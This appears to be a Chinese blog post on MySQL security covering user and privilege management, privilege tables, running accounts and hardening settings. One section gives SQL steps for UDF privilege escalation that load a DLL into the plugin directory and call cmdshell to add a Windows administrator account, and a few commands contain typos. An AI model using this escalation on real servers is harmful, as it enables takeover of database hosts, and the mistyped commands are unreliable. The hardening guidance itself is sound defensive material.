MySQL安全

MySQL安全



权限与设置

MySQL介绍
  • MySQL是一个开放源代码的、开源的关系型数据库管理系统(DBMS),广泛应用在互联网上等中小型网站开发中。
  • MySQL是一个真正的多用户、多线程SQL数据库服务器,是一个关系型数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,就增加了速度并提高了灵活性。
MySQL用户管理
  • MySQL是一个多用户数据库,具有功能强大的访问控制系统,可以为不同用户指定允许的权限。MySQL用户可以分为普通用户和ROOT用户。
  • ROOT用户是超级管理员,拥有所有权限,包括创建用户、删除用户和修改用户的密码等管理权限;普通用户只拥有被授予的各种权限。
  • 用户管理包括管理用户账户、权限等。
  • MySQL提供许多语句来管理用户账号,这些语句可以用来管理包括登录和退出MYSQL服务器、创建用户、删除用户、密码管理等内容。
    • 登录:mysql -h localhost u root -p test(用root用户登录到本地mysql服务器)
    • 创建用户:create user 'test@localhost' identified by 'passwd'; (创建一个用户,用户名为test,密码为passwd);flush privileges;
    • 删除用户:drop user 'user@localhost';
MySQL用户权限表

MySQL服务器通过权限表来控制用户对数据库的访问,权限表存放在MySQL数据库中,由MYSQL_INSTALL_DB脚本初始化。存储账户权限信息表有USER、DB、HOST、TABLES_PRIV、COLUMNS_PRIV和PROCS_PRIV

  • USER表是MYSQL中最重要的一个权限表,记录允许链接到服务器的账号信息,权限是全局级
  • DB表中存储了用户对某个数据库的操作权限,决定用户能从哪个主机存取哪个数据库
  • HOST表中存储了某个主机对数据库的操作权限,配合DB权限表对给定主机上数据库级操作权限做更细致的控制,此表不受GRANT和REVOKE语句的影响。
  • TABLES_PRIV表用来对表设置操作权限
  • COLUMNS_PRIV表用来对表的某一列设置权限
  • PROCS_PRIV表对存储过程和存储函数设置操作权限

image-20210522171909987

MySQL权限管理
  • MySQL权限管理主要是对登录到MYSQL的用户进行权限验证。所有用户的权限都存储在MySQL的权限表中,不合理的权限规划会给MYSQL服务器带来安全隐患。

  • 数据库管理员要对所有用户的权限进行合理规划管理。

  • MYSQL权限系统的主要功能是证实连接到一台给定主机的用户,并赋予该用户在数据库上的SELECT、INSERT、UPDATE和DELETE的权限。

  • 授权是为某个用户授予权限,合理的授权可以保证数据库的安全

  • 使用GRANT语句为用户授予权限

  • 授予的权限可以分为多个层级:

    • 全局层级
    • 数据库层级
    • 表层级
    • 列层级
    • 子程序层级

    示例:grant SELECT,INSERT on *.* to 'USER@LOCALHOST' identified by 'PWD' with grant option;

  • 收回权限就是取消已经赋予用户的某些权限。收回用户不必要的权限可以在一定程度上保证系统的安全性

    示例:使用REVOKE语句取消用户TEST的更新权限

    revoke update on *.* from 'test@localhost';

  • 使用show grants语句查看指定用户的权限信息

    show grants for 'user' @' host'

    示例:使用show grants语句查询用户test的权限信息

    show grants for 'test' @' localhost';


MySQL运行
  • 在windows下禁止使用local system来运行MYSQL账户,可以考虑使用NETWORK SERVICE或者自己新建一个账号,但是必须给与MYSQL程序所在目录的读取权限和DATA目录的读取和写入权限。
  • 在linux下,新建一个mysql账号,并在安装的时候就指定mysql以mysql账户来运行,给与程序所在目录的读取权限,data所在目录的读取和写入权限。
  • mysql运行站好需要给予程序所在目录的读取权限,以及data目录的读取和写入权限。
  • 不容许给予其他目录的写入和执行权限
  • 取消mysql运行账户对于cmd,sh等一些程序的执行权限。

MySQL访问控制

连接核实与请求核实

image-20210522214216549 image-20210522214352404
内置函数风险
UDF提权

准备:我们需要udf.dll的十六进制,mysql的用户密码(或弱口令)

set @my_udf_a=concat('',dll的16进制);
create table my_udf_data(data longblob);
insert into my_udf_data values("");update my_udf_data set data=@my_udf_a;
select version();  -- 获取数据库版本
select user();  -- 获取数据库用户
select @@basedir;  -- 获取安装目录
show variables like '%plugins%';
select data from my_udf_data info dumpfile 'plugin_dir的绝对路径';
select cmdshell('net user xx /add');
select cmdshell('net localgroup administrators x /add');

MySQL安全配置
  • 限制访问mysql端口的IP

    windows可以通过windows防火墙来限制,linux下可以通过iptables来限制

    例如:iptables -r input 1 -S 192.168.1.120 -j accept(允许某个IP连接)

  • 修改mysql的端口

    windows下可以修改配置文件my.ini来实现,linux可以修改配置文件my.cnf来实现。

    默认端口:3306

  • 对所有用户设置强密码并严格指定对应账号的访问IP

    mysql中可在user表中指定用户的访问可访问IP

  • root特权账号的处理

    建议给root账号设置强密码,并指定只容许本地登录

  • 日志的处理

    如需要可开启查询日志,查询日志会记录登录和查询语句。

  • 删除无用数据库

  • 只授予账号必须的权限

    一般不要赋予用户all privileges权限,如果有误操作,将会产生非常严重的后果。

  • 删除匿名账号、

    某些版本中,安装完毕mysql后,会自动安装一个空账号,此账号具有对mysql数据库的全部权限。

  • 不把file、process、super权限授予管理员以外的账号

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值